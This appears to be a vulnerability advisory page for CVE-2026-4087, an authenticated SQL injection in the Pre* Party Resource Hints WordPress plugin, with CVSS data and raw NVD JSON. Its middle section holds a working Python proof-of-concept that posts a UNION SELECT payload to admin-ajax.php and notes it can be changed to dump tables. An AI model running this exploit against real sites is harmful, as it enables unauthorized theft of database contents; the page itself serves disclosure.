Security Vulnerability Report
中文
CVE-2026-4087 CVSS 6.5 MEDIUM

CVE-2026-4087

Published: 2026-03-21 04:17:41
Last Modified: 2026-04-24 16:27:44

Description

The Pre* Party Resource Hints plugin for WordPress is vulnerable to SQL Injection via the 'hint_ids' parameter of the pprh_update_hints AJAX action in all versions up to, and including, 1.8.20. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Pre* Party Resource Hints <= 1.8.20

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-4087 PoC Exploit # Target: WordPress Pre* Party Resource Hints Plugin <= 1.8.20 # Vulnerable Parameter: hint_ids # Action: pprh_update_hints def exploit(target_url, cookie_string): ajax_url = f"{target_url}/wp-admin/admin-ajax.php" headers = { "Cookie": cookie_string, "Content-Type": "application/x-www-form-urlencoded" } # Payload demonstrating extraction of database user # Attackers can modify this to dump tables or extract sensitive data payload_data = { "action": "pprh_update_hints", "hint_ids": "1 UNION SELECT 1,2,3,4,user(),6,7,8,9-- -" } try: response = requests.post(ajax_url, data=payload_data, headers=headers) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Response: {response.text[:200]}...") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage target = "http://example.com" # Valid authentication cookie for a Subscriber user or higher is required auth_cookie = "wordpress_logged_in_xxxxxx=xxxxxx" exploit(target, auth_cookie)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4087", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:17:41.190", "lastModified": "2026-04-24T16:27:44.277", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Pre* Party Resource Hints plugin for WordPress is vulnerable to SQL Injection via the 'hint_ids' parameter of the pprh_update_hints AJAX action in all versions up to, and including, 1.8.20. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}, {"lang": "es", "value": "El plugin Pre* Party Resource Hints para WordPress es vulnerable a inyección SQL a través del parámetro 'hint_ids' de la acción AJAX pprh_update_hints en todas las versiones hasta e incluyendo la 1.8.20. Esto se debe a un escape insuficiente en el parámetro proporcionado por el usuario y a la falta de preparación suficiente en la consulta SQL existente. Esto hace posible que atacantes autenticados, con acceso de nivel Suscriptor y superior, añadan consultas SQL adicionales a consultas ya existentes que pueden utilizarse para extraer información sensible de la base de datos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://github.com/samperrow/pre-party-browser-hints", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/pre-party-browser-hints/tags/1.8.20/includes/admin/LoadAdmin.php#L72", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/pre-party-browser-hints/tags/1.8.20/includes/common/DAO.php#L78", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/pre-party-browser-hints/tags/1.8.20/includes/common/DAO.php#L91", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/pre-party-browser-hints/tags/1.8.20/includes/utils/Utils.php#L80", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8ceb4750-0780-4437-a3b0-c4c4606f2715?source=cve", "source": "[email protected]"}]}}